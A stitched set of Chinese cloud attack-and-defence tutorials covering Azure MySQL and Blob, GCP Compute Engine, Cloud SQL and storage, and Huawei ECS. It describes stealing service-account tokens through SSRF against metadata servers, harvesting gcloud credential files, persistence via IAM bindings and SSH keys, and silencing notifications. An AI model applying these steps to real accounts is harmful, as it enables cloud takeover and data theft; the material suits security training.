Azure Database for MySQL 服务器 37 | 38 | ```Apache 39 | az mysql server create --resource-group myresourcegroup --name mydemoserver --location westus --admin-user myadmin --admin-password --sku-name GP_Gen5_2 40 | ``` 41 | 42 | ![2](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images2.png) 43 | 44 | 获取连接信息 45 | 46 | ```SQL 47 | az mysql server show --resource-group myresourcegroup --name mydemoserver 48 | ``` 49 | 50 | ![3](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images3.png) 51 | 52 | 53 | 54 | ## 2、数据库连接工具 55 | 56 | 当知道了数据库的账户和密码后,可以使用第三方数据库连接工具进行连接尝试。(谷歌云需要配置已授权网络才可以进行访问登录) 57 | 58 | ![4](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images4.png) 59 | 60 | # 0x04 权限提升 61 | 62 | ## 1、低权限收集到高权限的凭证 63 | 64 | 当获取了数据库较低的权限后,访问数据库查找敏感信息,如用户存储的高权限账户密码、高权限凭证等信息,然后可以通过收集到的信息就可以登录控制台或命令行去操作数据库。 65 | 66 | ## 2、云平台数据库漏洞 67 | 68 | 通过云平台数据库自身问题去获取高权限。 69 | 70 | # 0x05 权限维持 71 | 72 | ## 1、重置管理员密码 73 | 74 | 当拿到权限后,可以直接更改数据库服务器的管理员密码。但实际渗透场景下不建议这么做,容易被发现。 75 | 76 | ![5](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images5.png) 77 | 78 | ## 2、创建用户 79 | 80 | 创建 Azure Database for MySQL 服务器后,你可以使用第一个服务器管理员帐户来创建更多用户,并向这些用户授予管理员访问权限。 81 | 82 | 编辑并运行下面的 SQL 代码。 将占位符 `db_user` 替换为所需的新用户名。 将占位符 `testdb` 替换为数据库名称。 83 | 84 | 此 SQL 代码创建名为 testdb 的新数据库。 然后,它在 MySQL 服务中创建新用户,并将所有权限授予该用户的新数据库架构 (testdb.*)。 85 | 86 | ```SQL 87 | CREATE DATABASE testdb; 88 | 89 | 90 | CREATE USER 'db_user'@'%' IDENTIFIED BY 'StrongPassword!'; 91 | 92 | GRANT ALL PRIVILEGES ON testdb . * TO 'db_user'@'%'; 93 | 94 | FLUSH PRIVILEGES; 95 | ``` 96 | 97 | 运行 `SHOW GRANTS` MySQL 语句,查看 testdb 数据库上允许的 db_user 用户的权限。 98 | 99 | ```SQL 100 | USE testdb; 101 | 102 | SHOW GRANTS FOR 'db_user'@'%'; 103 | ``` 104 | 105 | ## 3、添加角色分配 106 | 107 | 将所有者的权限赋予用户、组或者服务主体,被赋予权限的角色将拥有该Mysql服务器的所有权限。 108 | 109 | ![6](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images6.png) 110 | 111 | ![7](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images7.png) 112 | 113 | # 0x06 信息收集 114 | 115 | ## 1、数据库服务器信息收集 116 | 117 | 在数据库默认目录中查看数据库服务器名称和所属资源组 118 | 119 | ![8](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images8.png) 120 | 121 | ## 2、活动日志信息 122 | 123 | 在活动日志信息中可以看到数据库服务器的操作记录,其中包括了时间发起者 124 | 125 | ![9](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images9.png) 126 | 127 | ## 3、管理员信息 128 | 129 | 在数据库访问控制中可以查看数据库服务器的经典管理员 130 | 131 | ![10](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images10.png) 132 | 133 | ## 4、角色分配信息 134 | 135 | 在数据库访问控制中可以查看数据库服务器分配的角色以及分配的权限 136 | 137 | ![11](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images11.png) 138 | 139 | # 0x07 影响 140 | 141 | ## 1、其他影响 142 | 143 | 当数据库被攻击者拿下后,可以获取数据库的敏感信息,对数据库进行恶意操作。 144 | 145 | # 参考资料: 146 | 147 | https://docs.microsoft.com/zh-cn/azure/mysql/howto-create-users 148 | -------------------------------------------------------------------------------- /docs/articles/azure/微软云对象存储攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 微软云对象存储攻防 3 | id: azure_blob 4 | --- 5 | 6 | ## 1、Blob配置错误-公开访问 7 | 在创建存储账户时,默认是启用Blob公共访问的,当创建容器的访问级别配置为容器(匿名读取访问容器和blob)时,就会导致匿名请求枚举容器中的 blob 8 | 9 | 10 | 11 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288187-713687-1.png) 12 | 13 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288194-996215-2.png) 14 | 15 | 当配置访问级别为专用或禁用Blob公共访问时,提示ResourceNotFound 16 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288203-378634-3.png) 17 | 18 | 当配置访问级别为Blob(仅匿名读取访问blob)时,可以读取容器中的blob,但是不可以枚举 19 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288216-274757-4.png) 20 | 21 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288244-749141-5.png) 22 | 23 | ## 2、使用DNS枚举 24 | 每个资源终结点都是<存储帐户>.blob.core.windows.net 25 | 存在时,可以解析 26 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288257-946790-6.png) 27 | 28 | 不存在时,无法解析 29 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288263-185732-7.png) 30 | 31 | 使用Dns 枚举进行发现 32 | python dnscan.py -d blob.core.windows.net -w subdomains-100.txt 33 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288269-589655-8.png) 34 | 35 | ## 3、Bucket Object 遍历 36 | 当创建容器的访问级别配置为容器(匿名读取访问容器和blob)时,就会导致匿名请求枚举容器中的 blob 37 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288274-431247-9.png) 38 | 39 | ## 4、account keys泄漏 40 | - Github代码中泄露 41 | - 网站JS代码 42 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288286-709065-10.png) 43 | 44 | 45 | ## 5、子域名接管 46 | 创建好Blob后自定义域,即可以通过自定义域去访问资源 47 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288292-715048-11.png) 48 | 49 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288309-683145-12.png) 50 | 51 | 当删除该存储账户后访问 52 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288317-788338-13.png) 53 | 54 | 再次创建相同的存储账户去接管子域名 55 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-03/1646288321-449109-14.png) 56 | 57 | ## 六大云存储攻击文章: 58 | 阿里云 OSS对象存储攻防(UzJu):https://zone.huoxian.cn/d/918-oss 59 | Aws S3 对象存储攻防(TeamsSix):https://zone.huoxian.cn/d/907-aws-s3 60 | 谷歌云 对象存储攻防(ricky):https://zone.huoxian.cn/d/931 61 | -------------------------------------------------------------------------------- /docs/articles/gcp/谷歌云 Compute Engine 弹性计算服务攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 谷歌云 Compute Engine 弹性计算服务攻防 3 | id: gcp_compute_engine 4 | --- 5 | 6 | ## 0x01、初始访问 7 | ### 1、元数据 8 | 每个虚拟机 (VM) 实例都将其元数据存储在元数据服务器上。您的虚拟机可自动获得对元数据服务器 API 的访问权限,而无需任何额外的授权。 9 | 10 | 11 | 12 | 查询元数据服务器的内容,您可以从虚拟机实例中向以下根网址发出请求。请使用 13 | http://metadata.google.internal/computeMetadata/v1/ 网址向元数据服务器发出请求。 14 | Google 为其 API 端点实施了一些额外的安全措施——查询 Google Cloud Metadata APIv1 需要特殊的标头:Metadata-Flavor: Google 15 | 16 | ``` 17 | 18 | > attributes/ metadata创建或更新 VM 时在字段中传递的用户定义元数据。 19 | > attributes/ssh-keys metadata通过值在字段中创建 VM 期间传递的公共 SSH 密钥列表ssh-keys。 20 | > description 创建或更新 VM 时传递的文本描述。 21 | > disks/ 连接到 VM 的磁盘。 22 | > hostname 分配给 VM 的限定域名 23 | > id 虚拟机的 ID。ID 在创建 VM 时自动生成,并且在 Yandex Cloud 中是唯一的。 24 | > name 创建或更新 VM 时传递的名称。 25 | > networkInterfaces/ 连接到 VM 的网络接口。 26 | > service-accounts 链接到 VM 的服务账户 27 | > service-accounts/default/token 关联服务账户的IAM令牌 28 | 29 | ``` 30 | 31 | ### 2、凭证泄露 32 | 服务帐号密钥可能无意中进入不应存储的位置。不法分子可能会使用泄露的服务帐号密钥在您的环境中进行身份验证 33 | 可能会存在服务帐号密钥的位置,包括:开源项目的源代码库、公共 Cloud Storage 存储桶、遭破解服务的公共数据转储、电子邮件收件箱、文件共享、备份存储、临时文件系统目录 34 | 如果找到这些文件之一,可以通过gcloud命令使用此服务帐户重新进行身份验证。 35 | 36 | ## 0x02、命令执行 37 | ### 1、接管项目 38 | 当找到权限大得凭证时,可以通过gcloud命令使用此服务帐户重新进行身份验证。 39 | 40 | > gcloud auth activate-service-account --key-file [FILE] 41 | 42 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648810013-975948-1.png) 43 | 44 | 45 | 输出项目的IAM策略 46 | 47 | > gcloud projects get-iam-policy example-project-id-1 48 | 49 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648810549-65456-2.png) 50 | 51 | 52 | 要在“example-project-id-1”的项目上为用户“test-user@gmail.com”的“roles/editor”角色添加 IAM 策略绑定 53 | 54 | > gcloud projects add-iam-policy-binding example-project-id-1 --member='user:test-user@gmail.com' --role='roles/editor' 55 | 56 | 拿到高权限服务账户的凭证然后就可以通过gcloud调用凭证去添加其他谷歌用户项目权限,下面添加editor权限,可以看到能够使用我们添加的用户去管理这个项目了 57 | 58 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648810573-880042-image.png) 59 | 60 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648810608-620590-4.png) 61 | 62 | 63 | 2、获取项目级实例权限 64 | 利用方式:Web应用程序漏洞(如SSRF/XXE/RCE)等,假设存在的Web应用程序存在SSRF漏洞,使用浏览器访问 URL 应用程序应如下所示 65 | 66 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648810626-884448-5.png) 67 | 68 | 在URL处输入http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token?alt=json,Header处输入Metadata-Flavor: Google,成功获取了access_token,当然,我们也可以通过上面列表去访问其他API获取更多的信息。 69 | 70 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648810640-388175-6.png) 71 | 72 | 使用scopes参数获取access token的使用范围 73 | 74 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648810655-540667-7.png) 75 | 76 | 如果有修改元数据的权限,则有办法实现权限提升,有以下情况: 77 | 默认账户启用了允许访问所有Cloud API或自定义服务账户具有https://www.googleapis.com/auth/compute、https://www.googleapis.com/auth/cloud-platform权限范围 78 | 首先要先获取元数据中fingerprint 79 | 80 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648810669-319568-8.png) 81 | 82 | 然后使用setCommonInstanceMetadata方法去添加(此次项目中没有旧的密钥,如果有旧的密钥,需要"value": "EXISTING_SSH_KEYS\nNEW_SSH_KEY") 83 | 84 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648810682-485241-9.png) 85 | 86 | 再去看下,成功写入,拿到实例控制权限 87 | 88 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648810689-197530-10.png) 89 | 90 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648810694-184991-11.png) 91 | 92 | ### 3、SSH密钥泄露 93 | 当谷歌云ssh的密钥被泄露后我们可以登陆该Compute Engine实例执行一系列恶意操作命令。 94 | 95 | ## 0x03、权限提升 96 | ### 1、修改元数据 97 | 如果能够修改原数据,则可以将SSH密钥添加到实例级元数据。 98 | ### 2、窃取 gcloud 授权 99 | 很可能同一机器上的其他用户一直在gcloud使用比您自己的帐户更强大的帐户运行命令。您需要本地root权限才能执行此操作。 100 | 首先,查找gcloud用户的主文件夹中存在哪些配置目录。 101 | 102 | > $ sudo find / -name "gcloud" 103 | 104 | 您可以手动检查里面的文件,但这些通常是带有秘密的文件: 105 | 106 | > - ~/.config/gcloud/credentials.db 107 | > - ~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json 108 | > - ~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto 109 | > - ~/.credentials.json 110 | 111 | 现在,您可以选择在这些文件中查找明文凭据,或者简单地将整个gcloud文件夹复制到您控制和运行的计算机上gcloud auth list,以查看您现在可以使用哪些帐户。 112 | ### 3、授予其他用户控制台权限 113 | 见命令执行中的接管项目操作 114 | 115 | ## 0x04、权限维持 116 | ### 1、添加项目主账户 117 | 加其他用户到项目主账户,其他用户就可以登录控制台去管理项目 118 | 119 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648810849-819123-12.png) 120 | 121 | ### 2、添加新密钥 122 | 在其他高权限服务账户种创建新密钥,可以在当前用户权限掉后,继续使用高权限得用户凭证去实现权限维持 123 | 124 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648810872-395838-13.png) 125 | 126 | ### 3、添加项目级ssh密钥 127 | 添加项目级ssh密钥,可以让我们是随意控制项目下的虚拟机 128 | 129 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648811011-753874-14.png) 130 | 131 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648811065-541896-15.png) 132 | 133 | ## 0x05、信息收集 134 | ### 1、元数据 135 | 通过元数据进行信息收集 136 | 137 | > attributes/ metadata创建或更新 VM 时在字段中传递的用户定义元数据。 138 | > attributes/ssh-keys metadata通过值在字段中创建 VM 期间传递的公共 SSH 密钥列表ssh-keys。 139 | > description 创建或更新 VM 时传递的文本描述。 140 | > disks/ 连接到 VM 的磁盘。 141 | > hostname 分配给 VM 的限定域名 142 | > id 虚拟机的 ID。ID 在创建 VM 时自动生成,并且在 Yandex Cloud 中是唯一的。 143 | > name 创建或更新 VM 时传递的名称。 144 | > networkInterfaces/ 连接到 VM 的网络接口。 145 | > service-accounts 链接到 VM 的服务账户 146 | > service-accounts/default/token 关联服务账户的IAM令牌 147 | 148 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648811158-781505-16.png) 149 | 150 | 151 | ### 2、子网信息 152 | 通过获取项目权限后,在控制台进行查看子网信息 153 | 154 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648811167-905561-17.png) 155 | 156 | ### 3、用户数据 157 | 目标实例上运行的服务以及存储的数据 158 | ### 4、密钥 159 | 很有可能机器上的其他用户比你当前的账户权限更大,我们可以寻找一下敏感文件 160 | 161 | > sudo find / -name "gcloud" 162 | 163 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648811249-720674-18.png) 164 | 165 | 注意以下文件: 166 | 167 | > - ~/.config/gcloud/credentials.db 168 | > - ~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json 169 | > - ~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto 170 | > - ~/.credentials.json 171 | 172 | ### 5、查看自定义实例模板 173 | 实例模板定义实例属性以帮助部署一致的配置,可能包含与运行的实例一样的敏感数据 174 | 列出可以获取的模版 175 | > $ gcloud compute instance-templates list 176 | 177 | 获取模版的信息 178 | > $ gcloud compute instance-templates describe [TEMPLATE NAME] 179 | 180 | ### 6、枚举存储桶 181 | 列出项目中的所有存储桶 182 | > $ gsutil ls 183 | 184 | 获取项目中所有存储桶的详细信息 185 | > $ gsutil ls -L 186 | 187 | 列出特定存储桶的内容 188 | > $ gsutil ls -r gs://bucket-name/ 189 | 190 | 将存储桶中的对象复制到本地存储以供查看 191 | > $ gsutil cp gs://bucket-name/folder/object ~/ 192 | 193 | ## 0x06、横向移动 194 | ### 1、控制台 195 | 在添加项目主账户后,拿到控制台下项目的管理权限,通过控制台去控制当前项目下其他虚拟机实例. 196 | 197 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-01/1648811371-887251-19.png) 198 | 199 | ### 2、虚拟机实例 200 | 在拿到项目下虚拟机实例的权限,可以通过传统渗透方式去进行 201 | 202 | ## 0x07、影响 203 | ### 1、子域名接管 204 | 当域名对应的实例销毁或者当实例重新启动后对应的公网ip发生变化,但域名还是指向原来的公网ip,此时会存在子域名被接管的风险,但是由于公网ip的随机性,此攻击的利用成本较大。 205 | ### 2、Google Compute Engine (GCE) VM takeover via DHCP flood 206 | 由于 ISC DHCP 软件使用的随机数较弱以及其他因素的不幸组合,攻击者可以通过网络接管 Google Cloud Platform 的虚拟机。这是通过从目标虚拟机的角度模拟元数据服务器来完成的。通过安装此漏洞,攻击者可以通过 SSH(公钥身份验证)授予自己访问权限,以便他们可以以 root 用户身份登录。 207 | 参考:https://github.com/irsl/gcp-dhcp-takeover-code-exec 208 | 209 | ## 0x08、总结 210 | 整体而言,谷歌云Compute Engine下的攻击手法主要还是由于凭证泄露、配置错误这类问题导致的。 211 | 212 | ## 参考 213 | https://cloud.google.com/compute/docs/instances/connecting-advanced#sa_ssh_manual 214 | https://cloud.google.com/compute/docs/connect/add-ssh-keys#api_3 215 | https://cloud.google.com/sdk/gcloud/reference/projects/get-iam-policy?hl=zh-cn 216 | https://cloud.google.com/iam/docs/impersonating-service-accounts?authuser=1&_ga=2.81056407.-1414587130.1644838399 217 | -------------------------------------------------------------------------------- /docs/articles/gcp/谷歌云 云数据库攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 谷歌云 云数据库攻防 3 | id: gcp_rds 4 | --- 5 | 6 | ## 0x01 前期侦查 7 | 8 | ### 1、访问凭证泄露 9 | 10 | 在信息收集阶段,通过传统攻防下的信息收集方式,收集到目标的数据库账户密码、谷歌云平台账户密码,access token、服务账户凭证等 11 | 12 | 13 | 14 | ### 2、备份 15 | 16 | 谷歌云具有数据库实例导出功能,可以将整个实例或实例中的数据库导出到Cloud Storage中,其格式可以是csv或者sql。 17 | 18 | ![11](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images11.png) 19 | 20 | 当该存储桶公开访问或泄露了服务账户凭证即可造成数据库泄露 21 | 22 | ![12](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images12.png) 23 | 24 | ![13](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images13.png) 25 | 26 | ## 0x02 初始访问 27 | 28 | ### 1、访问凭证登录 29 | 30 | 如果在前期侦查阶段收集到了数据库的账户和密码,则可以通过其直接登录。或者在前期收集到了高权限的服务账户凭证,可以通过之前Compute Engine攻防中的方法去登录谷歌云控制台,就可以去操作Cloud SQL了。 31 | 32 | ### 2、弱口令 33 | 34 | 如果谷歌云数据库存在弱口令,我们可以通过爆破的方式,得到数据库的账户名和密码,进而直接访问数据库。 35 | 36 | ### 3、空密码 37 | 38 | 在Cloud SQL中,创建mysql数据库的时候,可以赋予数据库无root密码,如果没有 root 密码,此实例会允许任何人以完整管理权限进行连接。请设置 root 密码,以确保只有授权用户才能取得此类权限。 39 | 40 | ![14](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images14.png) 41 | 42 | ## 0x03 执行 43 | 44 | ### 1、云厂商命令行工具 45 | 46 | 使用gcloud来查看实例信息 47 | 48 | ```Apache 49 | gcloud sql instances describe 实例名 50 | ``` 51 | 52 | ![15](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images15.png) 53 | 54 | 列出实例上的所有数据库 55 | 56 | ```Nginx 57 | gcloud sql databases list --instance=实例名 58 | ``` 59 | 60 | 61 | 62 | ![16](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images16.png) 63 | 64 | ### 2、数据库连接工具 65 | 66 | 当知道了数据库的账户和密码后,可以使用第三方数据库连接工具进行连接尝试。(谷歌云需要配置已授权网络才可以进行访问登录) 67 | 68 | ![17](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images17.png) 69 | 70 | 71 | 72 | ### 3、Cloud SQL代理 73 | 74 | Cloud SQL Auth 代理可让您安全地访问自己的实例,而无需已获授权的网络或配置 SSL。 75 | 76 | 如需使用 Cloud SQL Auth 代理,必须满足以下要求: 77 | 78 | 必须启用 Cloud SQL Admin API。 79 | 80 | 必须向 Cloud SQL Auth 代理提供 Google Cloud 身份验证凭据。 81 | 82 | 必须向 Cloud SQL Auth 代理提供有效的数据库用户帐号和密码。 83 | 84 | 实例必须具有公共 IPv4 地址,或者配置为使用专用 IP。 85 | 86 | 该公共 IP 地址无需可供任何外部地址访问(无需添加为已获授权的网络地址)。 87 | 88 | ## 0x04 权限提升 89 | 90 | ### 1、低权限收集到高权限的凭证 91 | 92 | 当获取了数据库较低的权限后,访问数据库查找敏感信息,如用户存储的高权限账户密码、高权限凭证等信息,然后可以通过收集到的信息就可以登录控制台或命令行去操作数据库。 93 | 94 | ### 2、云平台数据库漏洞 95 | 96 | 通过云平台数据库自身问题去获取高权限。 97 | 98 | ## 0x05 权限维持 99 | 100 | ### 1、添加内置身份验证的用户 101 | 102 | 用户账户可以让用户和应用连接到实例,我们可以通过命令行或控制台去添加自己的用户账户,当前用户账户密码被改后,可以使用自己新建的账户密码去连接数据库。 103 | 104 | ![18](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images18.png) 105 | 106 | ### 2、修改密码 107 | 108 | 当拿到权限后,可以直接更改数据库实例下的用户密码。但实际渗透场景下不建议这么做,容易被发现。 109 | 110 | ### 3、添加基于Cloud IAM的用户账户 111 | 112 | 在通过这种方式添加后,即可以通过自己的谷歌云账户去管理数据库实例,使用 Cloud Console 将新的 IAM 用户添加到 Cloud SQL 实例时,Cloud SQL 会自动将 Cloud SQL Instance User 角色授予该用户用于项目中的所有实例和数据库。系统会自动为用户添加 IAM 政策绑定。 113 | 114 | ![19](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images19.png) 115 | 116 | 然后删除,移除经过 IAM 身份验证的用户帐号不会撤消关联主帐号在 IAM 中的权限。所以删除后还是有一定的权限。 117 | 118 | ![20](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images20.png) 119 | 120 | 121 | 122 | ![21](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images21.png) 123 | 124 | ### 4、添加IAM级别用户 125 | 126 | 通过IAM处添加Cloud SQL Admin的主账户权限,可以拥有Cloud SQL资源的完全控制权。 127 | 128 | ![22](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images22.png) 129 | 130 | ![23](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images23.png) 131 | 132 | 133 | 134 | 135 | 136 | ## 0x06 防御绕过 137 | 138 | ### 1、关闭产品通知 139 | 140 | 在用户偏好设置中关闭产品通知,当有改动时,将不会以电子邮件的方式通知用户 141 | 142 | ![24](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images24.png) 143 | 144 | ## 0x07 信息收集 145 | 146 | ### 1、服务账户信息 147 | 148 | 在Cloud SQL概览页面可以查看该数据库的服务账户 149 | 150 | ![25](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images25.png) 151 | 152 | 153 | 154 | ### 2、数据库信息 155 | 156 | 在Cloud SQL实例页面可以查看实例的ID、数据库版本、公共ip地址、存储空间等信息 157 | 158 | ![26](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images26.png) 159 | 160 | ### 3、用户信息 161 | 162 | 在Cloud SQL用户页面可以查看内置身份验证的用户信息、基于Cloud IAM的主账户信息(包括了IAM电子邮件) 163 | 164 | ![27](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images27.png) 165 | 166 | 167 | 168 | ## 0x08 影响 169 | 170 | ### 1、数据库备份可被公开访问 171 | 172 | 在公开访问的存储桶中存在数据库备份,造成了数据库数据泄露。 173 | 174 | ### 2、其他影响 175 | 176 | 当数据库被攻击者拿下后,可以获取数据库的敏感信息,对数据库进行恶意操作。 177 | 178 | ## 参考资料: 179 | 180 | https://cloud.google.com/sql/docs/mysql/sql-proxy?authuser=1&_ga=2.213776404.-1838959337.1648105721 181 | 182 | https://cloud.google.com/sql/docs/mysql/connect-overview?authuser=1#authentication_options 183 | 184 | https://cloud.google.com/sdk/gcloud/reference/sql/ 185 | -------------------------------------------------------------------------------- /docs/articles/gcp/谷歌云对象存储攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 谷歌云对象存储攻防 3 | id: gcp_storage 4 | --- 5 | 6 | 本文主要介绍谷歌云对象存储攻防的方式 7 | 8 | 9 | 10 | ## 1、存储桶配置错误-公开访问 11 | 12 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109552-774695-1.png) 13 | 当创建的存储桶配置了allUsers拥有GCS对象的读取权限时,该存储桶可以被任何用户公开访问 14 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109567-850536-2.png) 15 | 16 | ## 2、Bucket爆破 17 | 当不存在时访问会提示NoSuchBucket 18 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109574-141830-3.png) 19 | 当存在时会出在下面情况,公开访问和拒绝访问 20 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109579-10173-4.png) 21 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109605-185553-5.png) 22 | 23 | ## 3、Bucket Object 遍历 24 | 当对allUsers配置了Storage Object Viewer 或者Storage Legacy Bucket Reader权限时就会将存储桶内容遍历出来并且可以读文件内容 25 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109666-132764-7.png) 26 | 27 | ## 4、任意文件上传和覆盖 28 | 当存储桶配置了allUsers拥有 Storage Legacy Bucket Owner、Storage Object Admin或者Storage Legacy Bucket Writer 权限时,任何用户都可以上传任意文件到存储桶并覆盖已经存在的文件 29 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109677-204456-8.png) 30 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109680-177733-9.png) 31 | 32 | ## 5、SERVICE ACCOUNT泄漏 33 | - Github代码中泄露 34 | - 网站JS代码 35 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109739-373077-10.png) 36 | 37 | ## 6、Bucket IAM 策略可写 38 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109753-435373-11.png) 39 | 40 | 访问权限控制为统一时,对象访问权限完全由存储桶级权限 (IAM) 进行控制 41 | 直接访问存储桶发现AccessDenied 42 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109759-958336-12.png) 43 | 44 | 查看Bucket IAM策略 45 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109774-813560-13.png) 46 | 47 | 上图标识部分表示所有的谷歌认证用户都有权有权获取和设置任意 IAM 策略,通过gsutil去修改IAM策略 48 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109781-474342-14.png) 49 | 50 | 再次去访问存储桶 51 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109786-799767-15.png) 52 | 53 | ## 7、Object ACL可写 54 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109798-150181-16.png) 55 | 56 | 访问存储桶对象时提示AccessDenied 57 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646109805-208730-17.png) 58 | 59 | 当访问权限控制为精细控制时,查看Object ACL,发现所有谷歌认证用户都能修改Object ACL 60 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646110042-7324-18.png) 61 | 62 | gsutil acl ch -u allUsers:R gs://new2_test/1.txt 63 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646110049-171277-19.png) 64 | 65 | 修改ACL后任何用户都可以访问 66 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-03-01/1646110056-459678-21.png) 67 | 68 | ## 六大云存储攻击文章: 69 | 阿里云 OSS对象存储攻防(UzJu):https://zone.huoxian.cn/d/918-oss 70 | Aws S3 对象存储攻防(TeamsSix):https://zone.huoxian.cn/d/907-aws-s3 71 | -------------------------------------------------------------------------------- /docs/articles/huaweicloud/华为云 ECS 弹性计算服务攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 华为云 ECS 弹性计算服务攻防 3 | id: huaweicloud_ecs 4 | --- 5 | 6 | 下面所讲的大部分操作是基于拿到华为云用户泄漏的AK SK或者凭证而进行的一系列操作。 7 | 8 | 9 | 10 | 目录: 11 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-11/1649661586-382341-image.png) 12 | 13 | ## 0x01、初始访问 14 | ### 1、元数据 15 | 华为云元数据地址:http://169.254.169.254 ,需要注意直接访问是看不到openstack目录的,下面列举几个常见的目录 16 | 17 | ```sh 18 | /latest/meta-data/local-ipv4 #用于查询弹性云服务器的固定IP地址。多网卡情况下,只显示主网卡的地址。 19 | /latest/meta-data/hostname #用于查询弹性云服务器的主机名称,后面会追加.novalocal后缀 20 | /latest/meta-data/instance-type #用于查询弹性云服务器的规格名称。 21 | /latest/meta-data/placement/availability-zone #用于查询弹性云服务器的AZ信息。 22 | 